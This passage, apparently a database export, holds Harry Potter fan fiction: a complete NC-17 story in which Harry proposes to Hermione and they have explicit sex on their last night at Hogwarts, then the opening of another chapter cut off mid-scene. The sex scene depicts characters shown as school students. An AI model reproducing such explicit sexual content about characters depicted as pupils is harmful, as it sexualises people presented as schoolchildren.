	(42, 1, '\n\n\n\n\n\n\n\n<i>Disclaimer:</i><i> I don&#8217;t own Harry\nPotter, Hogwarts, or anything else associated with the two.&nbsp; It all belongs to a genius named JK Rowling.</i>\n\n<p class="MsoNormal"><b><i>Warning:</i></b><i> This is NC-17.&nbsp; That means sex.&nbsp; If you\nare uncomfortable with the idea, then press the back button, and find something\nelse to read.&nbsp; </i><i>J</i><i></i></p>\n\n<i>Author&#8217;s Note:</i><i> this cookie is\ndedicated to NAPPA, who gave me the smut bunny in the first place, and\nrequested that I write it.&nbsp; I hope you\nall enjoy it!</i>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<u>Lights</u><u></u>\n\n<p class="MsoBodyTextIndent" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:\nauto;line-height:normal">It was a beautiful night at Hogwarts, almost too good\nto be true.&nbsp; The stars stood out in\nclear relief from the deep, velvety blue of the sky.&nbsp; There wasn&#8217;t a single cloud in the sky, and the moon was so\nbright that the grounds almost looked like they were under full sunlight.&nbsp; For the seventh years, curfew had been\nlifted since it was their last night in the castle.&nbsp; Most of the students had taken the opportunity to hole themselves\nup in various parts of the castle to snog, but a few had taken to the grounds.&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.5in">A moonlight\nQuidditch game had begun, with mixed teams from all of the houses, and even a\nfew professors joined in (Madam Hooch, Professor McGonagall, and to everyone&#8217;s\nsurprise, Professor Dumbledore, who turned out to be a fantastic keeper).&nbsp; The one person that everyone expected to be\non the pitch wasn&#8217;t.&nbsp; Harry Potter was\nwalking around the lake, fingering something in one of his pockets with one\nhand, and holding the hand of his girlfriend with the other.</p>\n\n<p class="MsoBodyTextIndent" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:\nauto;line-height:normal">They had detached themselves from the rest of their\nclass and walked towards the lake in order to gain some privacy that wasn&#8217;t a\nbroom closet.&nbsp; When they reached the\ngrassy area below the lake, Harry sat down and pulled Hermione down next to\nhim.&nbsp; They sat in silence for a while\nbefore Harry lay down to stare up at the night sky.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.5in">It was something\nthat he had never gotten to do at the Dursley&#8217;s, and there he never even had a\nwindow, since he had been locked in the cupboard for most of his life.&nbsp; At Hogwarts, the curfew and all of his\nadventures had stopped him from doing it.&nbsp;\nAs soon as he was fully on his back, he sighed.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.5in">&#8220;What is it,\nHarry?&#8221; Hermione asked.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.5in">&#8220;This is the\nfirst time I have ever done this,&#8221; he replied honestly.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.5in">&#8220;Done what?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.5in">&#8220;Star gazed.&nbsp; The Dursleys locked me in a cupboard when I\nwas little, and there was always a curfew or scheme or mystery to think about\nhere.&nbsp; I just never had the\nchance.&#8221;&nbsp; He looked over at her, &#8220;I&#8217;m\nglad that you&#8217;re here to share it with me.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.5in">He rolled over\nand gently kissed her on the lips.&nbsp; She\nleaned into his body, and he wrapped his arms around her waist.&nbsp; Harry sighed again, this time with\ncontentment.&nbsp; They sat wrapped in each\nother&#8217;s arms for a few hours, only moving when the moon set, and they were\nplunged into darkness.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.5in">Harry kissed\nHermione once more before sitting up and pulling her up with him.&nbsp; When they were standing, he used a charm\nthat he had written to create a light spectacle around them.&nbsp; It looked like they were swimming in a pool\nof fireworks.&nbsp; He reached into his\npocket to remove the almost forgotten item from his pocket.&nbsp; Slowly, he lowered himself onto one knee,\nand grasped her hands.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.5in">&#8220;Seven years ago,\na girl wandered into my compartment looking for a lost toad and demonstrating\nthe spells she had learned on her own.&nbsp;\nTwo months later she became my friend.&nbsp;\nOver the next few years, she stuck with me through thick and thin,\nwhether it was a potions final, a fight, or a battle against Lord\nVoldemort.&nbsp; Somewhere along the line,\nthat girl became a beautiful woman.&nbsp; I\nlooked into her eyes and knew that I was in love, that I always had been.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.5in">&#8220;Hermione, our\nyears at Hogwarts are over.&nbsp; The\nperpetual battle with Voldemort is over, and the future is uncertain.&nbsp; The only thing I know is that I want you\nbeside me when it happens.&nbsp; I want your\nface to be the first thing I see every morning, and the last thing I see every\nnight.</p>\n\n<p class="MsoBodyTextIndent" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:\nauto;line-height:normal">&#8220;Hermione Granger, Will you marry me?&#8221;&nbsp; Harry opened the small box that he had been\nholding to reveal a ring.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.5in">Without a word,\nHermione slid the ring onto her finger and knelt next to him, kissing him.&nbsp; Within seconds, they were back on the\nground, locked in a passionate kiss, cloaks forgotten nearby.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.5in">Slowly, Harry\nreached to her waist and pulled her sweater over her head, her hair spread out\nbehind her on the grass.&nbsp; Her tie\nquickly followed, and Harry bent down for another kiss.&nbsp; It was broken for a second while Hermione\ntugged his sweater and tie off.&nbsp; When\ntheir lips met again it was more passionate.&nbsp;\nThey stayed locked in their kiss as they were freed from the constraints\nof their shirts.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.5in">Harry ran a\nfinger over her soft stomach, letting it trail up between her breasts to her\nmouth.&nbsp; He ran his hand across her back,\nand unhooked her bra, leaving the soft mounds exposed to the night air.&nbsp; She moaned as he ran his hands over her bare\nskin and breasts.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.5in">He felt his pants\nbecome too tight as his erection grew, but Hermione took no notice of his\ndiscomfort as she continued to kiss him and grind her hips against him.&nbsp; After about 10 minutes of the torture, she\nreached down and unbuttoned his trousers, freeing his erection from the\nfabric.&nbsp; He shivered as she lightly\ncaressed the head, and leaned down to kiss her again.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.5in">While they were\nlocked in their embrace, Hermione shoved Harry&#8217;s pants down around his ankles\nand he kicked them off along with his shoes and socks.&nbsp; She rolled them over so that she was on top,\nand sat up, straddling his hips.&nbsp; He\nreached up and massaged her bare breasts for a minute before reaching her waist\nand unclipping her belt and skirt.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.5in">When all of her\nclothing had been discarded, he flipped her over onto her back again and just\nlooked at her.&nbsp; Her paleness of her skin\nwas accentuated by the twinkling lights all around them, and the sparkles\ndanced in her hair and eyes, making it look like they were made of icy fire.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.5in">&#8220;You&#8217;re\nbeautiful.&nbsp; Have I told you that\nrecently?&#8221; He whispered.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.5in">&#8220;Yes, you tell me\nthat everyday.&#8221; She cut of any further words with a deep, bruising kiss.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.5in">After another\nseveral minutes, Harry broke it off, and kissed, nibbled and sucked his way\ndown to her breasts.&nbsp; He licked a circle\naround one of the nipples and blew lightly on it before leaning in and nipping\nit.&nbsp; It caused Hermione to arch her back\nand moan in pleasure.&nbsp; He sucked lightly\non it before moving to the other and repeating the same performance.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.5in">&#8220;Harry!&#8221; Hermione\ngasped.&nbsp; She had never felt anything\nequal to this.&nbsp; His only response was\nmade with his hands.&nbsp; He let his finger\ntrail down between her breasts, over her stomach and between her legs, where he\nfound his final resting place.&nbsp; She\nopened her legs to accommodate his fingers, and rocked her hips to feel more of\nhis light touch.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.5in">However, she\nfound that she was unable to move.&nbsp; His\nweight was holding her down and preventing her from making the satisfying\nmovement.&nbsp; It was torture, and she\ngrowled in frustration.&nbsp; Finally she\nwrenched herself free of his grasp and wrestled him to the ground, again\nstraddling his hips.&nbsp; She pinned down\nhis arms and preceded to hive him the same treatment he had given her.&nbsp; She lightly kissed her way down his neck,\nsucking slightly at his collarbone, leaving a mark.&nbsp; She let her tongue trail down to his nipples, and nipped at the\nsmall buds before continuing her way down.&nbsp;\n</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.5in">She reached his\nnavel and dipped her tongue in quickly, but had to release his arms before she\ncould continue.&nbsp; He only wiped his hair\nout of his eyes and left his hands at his sides.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.5in">Hermione finally\nreached her target, but instead of taking his arousal into her mouth, she moved\ndown, nibbling on his sack and inner thighs.&nbsp;\nIt was his turn to moan and arch his back, which he did followed by&nbsp; a growl.&nbsp;\n</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.5in">Finally, Hermione\ntook pity on him and licked the head of his erection, tasting the salty liquid\nthat had begun to pool at the top.&nbsp; He\ngrowled again and tangled his fingers in her disheveled, wavy hair, forcing her\nhead down; she didn&#8217;t try to resist.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.5in">Before he could\nreach a climax, she lifted off him, leaving his erection stiff and quivering,\nsilhouetted in the paling, twinkling lights.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.5in">A millisecond\nlater, he pounced, once again rolling on top of her.&nbsp; He leaned down for a kiss as she spread her legs and wrapped the\nm around his hips to allow him better access to her most intimate and personal\nspace.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.5in">&#8220;Are you sure?&#8221;\nhe asked.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.5in">&#8220;Of course,&#8221; she\nreplied in a husky whisper, &#8220;I&#8217;ve never been so sure of anything in my life.&#8221;</p>\n\n<p class="MsoBodyTextIndent" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:\nauto;line-height:normal">Slowly, he pushed forward, meeting little resistance\nfrom her.&nbsp; He went slowly, allowing her\nto adjust to the intrusion as it happened.&nbsp;\nOnce he was fully inside her, she purred in pleasure.&nbsp; It was the most wonderful sense of\ncompleteness; she had never felt anything like it before.&nbsp; Gently, she kissed his swollen lips.</p>\n\n<p class="MsoBodyTextIndent" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:\nauto;line-height:normal">&#8220;Harry&#8230;&#8221; she managed to whisper, &#8220;move.&nbsp; I want to feel you.&#8221;</p>\n\n<p class="MsoBodyTextIndent" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:\nauto;line-height:normal">In response, he said nothing, just complied with her\nwish.&nbsp; It was the most unique sensation\nhe had ever felt, and his lips landed on his fianc&#233;e&#8217;s lips in a bruising\nkiss.&nbsp; Slowly, as they both got used to\nthe sensation, the tempo picked up.&nbsp;\nHermione began to rock her hips in time with his, the tempo increasing\ntenfold.&nbsp; Their lips never left each\nother, determined to fuse their two bodies and souls into one.</p>\n\n<p class="MsoBodyTextIndent" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:\nauto;line-height:normal">&#8220; &#8216;Mione!&#8221; Harry gasped as his entire body\nstiffened.&nbsp; Half a second later he\npushed himself as far into her as he could go and released.&nbsp; The feeling of his throbbing arousal was too\nmuch for Hermione, and she reached her climax.&nbsp;\nHer entire body clenched, focused on the singular sensation between her\nlegs.&nbsp; Harry collapsed on top of her,\nand they rolled onto their sides, still connected.</p>\n\n<p class="MsoBodyTextIndent" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:\nauto;line-height:normal">Hermione stretched her neck and kissed his forehead\nsoftly, right on the famous scar.&nbsp; He\nshivered gently at her touch.</p>\n\n<p class="MsoBodyTextIndent" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:\nauto;line-height:normal">&#8220;I love you, my Hermione,&#8221; he whispered in her ear,\nhis eyes still closed.</p>\n\n<p class="MsoBodyTextIndent" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:\nauto;line-height:normal">&#8220;I love you too, you will always be my Harry,&#8221; she\nwhispered as the last of the twinkling lights faded and went out, plunging them\ninto darkness together.</p>\n\n<p class="MsoBodyTextIndent" style="mso-margin-top-alt:auto;\nmso-margin-bottom-alt:auto;text-align:center;line-height:normal" align="center">Le Fin</p>\n\n<p class="MsoBodyTextIndent" style="mso-margin-top-alt:auto;\nmso-margin-bottom-alt:auto;text-align:center;line-height:normal" align="center">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p class="MsoBodyTextIndent" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:\nauto;line-height:normal">As I said before, this cookie is dedicated to NAPPA,\nand if you have any complaints about the delay in my other fic, blame him, not\nme!</p>\n\n<p class="MsoBodyTextIndent" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:\nauto;line-height:normal">Cheers!</p>\n\n<p class="MsoBodyTextIndent" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:\nauto;line-height:normal">~*~Professor Granger~*~</p>\n\n\n\n\n\n\n'),
	(43, 1, '\n\n\n\n\n\n\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Disclaimer: I don&#8217;t own original Harry Potter\ncharacters or situations, they belong to J.K Rowling. If I owned them, I would\nbe sitting in Hawaii right now sipping drinks with little umbrellas in\nthem and having hot guys serving my every need. *sigh* Oh well.&nbsp; </p>\n\n<p>&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nAmulet of Torna&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nChapter 1&#8212;Meet The Grangers</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry Potter leaned on the windowsill, glancing out the\nwindow of his upstairs bedroom; he looked down at the trickling stream.&nbsp; He was relieved to learn that he didn&#8217;t have\nto go and stay with the Dursleys this summer after all, more importantly he was\ngoing to spend the summer with his girlfriend Hermione Granger in Rome,\n Italy.&nbsp; He sighed, then leaned over and picked up the\nletters that were resting on the table. &nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">His eyes scanned the first one; it had only been a week and\na half into the summer when he had gotten this letter.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry, </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">I would really enjoy it if you would accompany me to Rome\nto visit with my cousin Amelia. &nbsp;I had\nalready contacted Dumbledore and he said it would be all right if you went with\nme and both my parents agree.&nbsp; Please\ncome Harry, I already miss you.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Love you lots,</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">P.S. Owl me immediately with your\nresponse.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry set the letter back down on the table, he remembered\ngoing to Sirius right after reading the letter asking if he could go. Not only\ndid he want to be with Hermione so badly, he would be able to visit another\ncountry.&nbsp; Sirius was only too happy to\nallow Harry this chance of a lifetime.&nbsp;\nHarry remembered something else too; he could see the look on Sirius&#8217;s\nface was well, serious. (A/N: Sorry guys I resisted the Sirius jokes all\nthrough Soul Scepter, I just couldn&#8217;t help it this time. hee\nhee)<i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in"><i style="mso-bidi-font-style:normal">Sirius had Harry sit\ndown on the couch; he sat next to him in a chair leaning forward.&nbsp; There was a puzzled look in his eye.&nbsp; Sirius gave Harry a light smile, &#8220;I suppose\nthere&#8217;s no way to start a conversation like this.&#8221; Sirius replied running his\nhand nervously though his hair.</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in"><i style="mso-bidi-font-style:normal">&#8220;Well then just say\nit, what&#8217;s on your mind.&#8221; Harry asked.</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in"><i style="mso-bidi-font-style:normal">&#8220;Okay, here it goes.&#8221;\nSirius cleared his throat.&nbsp; &#8220;There comes\na time in every young man&#8217;s life where, well...&#8221; He scratched the back of his\nneck.&nbsp; &#8220;Harry I know you&#8217;ve had girlfriends,\nand well when young people get to a certain age they start feeling, well\ndifferent. And&#8212;&#8221;</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in"><i style="mso-bidi-font-style:normal">Harry cut Sirius off\nwith a tiny chuckle, &#8220;Sirius, are you trying to talk to me about sex?&#8221;&nbsp;</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in"><i style="mso-bidi-font-style:normal">Sirius nodded, &#8220;Yes,\nI&#8217;m trying.&#8221;</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in"><i style="mso-bidi-font-style:normal">&#8220;It&#8217;s all right; I\nthink I know all I need to know.&#8221; Harry said with a smile.</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in"><i style="mso-bidi-font-style:normal">&#8220;How well do you\nknow?&#8221; Sirius&#8217;s eyes narrowed.&nbsp;</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in"><i style="mso-bidi-font-style:normal">&#8220;Enough.&#8221; Harry said,\n&#8220;I know enough.&#8221;</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in"><i style="mso-bidi-font-style:normal">&#8220;You do know this is\nnot something that should be played with or taken lightly, trouble and\nsomething not necessarily planned could come of it.&#8221; Sirius&#8217;s brow arched a\nbit.</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in"><i style="mso-bidi-font-style:normal">&#8220;Yes I know that, I am\ncareful.&#8221; Harry said leaning back into the cushion of the couch.&nbsp;</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in"><i style="mso-bidi-font-style:normal">&#8220;It&#8217;s just you are\ngoing off with someone you love to a very romantic city, and well, some cautions\nmight get thrown to the winds, if you know what I&#8217;m saying.&#8221; Sirius said.</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in"><i style="mso-bidi-font-style:normal">Harry nodded. &#8220;Yes I\nrealize that, there&#8217;s nothing to worry about.&nbsp;\nTrust me.&#8221;</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in"><i style="mso-bidi-font-style:normal">&#8220;Sure Harry, I trust\nyou.&#8221; Sirius smiled as did Harry.</i> &#8212;Harry&#8217;s memory was interrupted as Sirius\nstuck his head in through the open door.&nbsp;\n&#8220;We&#8217;ll be flooing to the Grangers in about\nfive minutes, I hope you have all&#8230;&#8221; Sirius looked\nsternly at Harry, &#8220;&#8230;that you could ever need.&#8221; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">This look on Sirius&#8217;s face caused Harry to break down into\nlaughter. &#8220;Yes I have everything I need.&#8221; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Sirius nodded and left the room, heading down the\nstairs.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry didn&#8217;t really presume anything concerning Hermione and\ntheir relationship but he owled Zara in America\nfor some more of that Orgus Root, just in case.&nbsp;\nHe had got an owl from her, with a large quantity of Orgus Root.&nbsp; She was only too happy to send it to\nhim.&nbsp; Harry looked at Zara&#8217;s letter.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hiya Harry,</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Sure you can have some Orgus Root, I owled you a huge chunk\nmuch you more than I gave you before, this way you have a good supply to last\neven through the next school year, well I hope you make good use of it *wink wink*.&nbsp; Well enjoy Rome,\nand don&#8217;t do anything I wouldn&#8217;t do.&nbsp;\nThat means you better go out and party or I&#8217;ll come to Rome\nand give you such a pinch. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Ta ta, </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Zara&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">P.S.&nbsp; Ron&#8217;s coming on\nvacation with me.&nbsp; Later\nbabes.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry laughed thinking that Zara was so weird, nice but\nweird.&nbsp; He couldn&#8217;t imagine anyone more\nperfect for Ron.&nbsp; That was when he came\nacross Ron&#8217;s letter. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry,&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">I have great news Zara&#8217;s parents invited me and my whole\nfamily to go to the Bahamas\nwith them, isn&#8217;t that fantastic?&nbsp; I&#8217;ve\nnever been on a vacation that didn&#8217;t involve going to visit family\nmembers.&nbsp; Well I hope you have fun on\nyour vacation and remember I want all the details, and I do mean all the\ndetails.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Bye,</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Ron</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry chuckled, no.&nbsp;\nHe was not going to give Ron any such details.&nbsp; He then heard Sirius&#8217;s voice from\ndownstairs.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Yeah I&#8217;m coming.&#8221; Harry shouted down the stairs and picked\nup his Muggle suitcase, since he will be staying in Muggle Rome with Hermione&#8217;s\ncousin, he didn&#8217;t want to bring anything that linked him to the Wizarding world\nexcept his wand, for emergencies. He passed by the mirror and took a glance at\nit.&nbsp; &#8216;<i style="mso-bidi-font-style:normal">I\nwonder how Hermione will think of me without my glasses?&#8217;\n</i>&nbsp;Harry, during the first week of\nsummer had Magic Eye Surgery; it was a correction for poor vision. He had been wanting to find someway to be able to see without\nglasses that always tended to get in the way for a long time now.&nbsp; And when he came across this new Magic Eye\nSurgery he was quick to sign up.&nbsp;&nbsp;&nbsp; He\nthen started down the stairs.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry moved towards Sirius who was standing by the\nfireplace, Sirius then threw some of the powder into the fireplace and\nshouted.&nbsp; &#8220;Hermione\nLeanne Granger&#8217;s house.&#8221;&nbsp;&nbsp; Within\na few moments Sirius and Harry stepped out of the fireplace into the grand\nliving room of Hermione&#8217;s house. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry noticed there were three people two women and a man;\nthey got to their feet when he and Sirius came through the fireplace. &nbsp;The two women were smiling while the man was\njust standing with a stern statement on his face.&nbsp; Harry gulped.&nbsp;\nWell it looked like it was time to meet the Grangers. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione&#8217;s parents came towards him, &#8220;Well you must be\nHarry.&#8221; A woman with a polite smile a light brown hair stepped closer 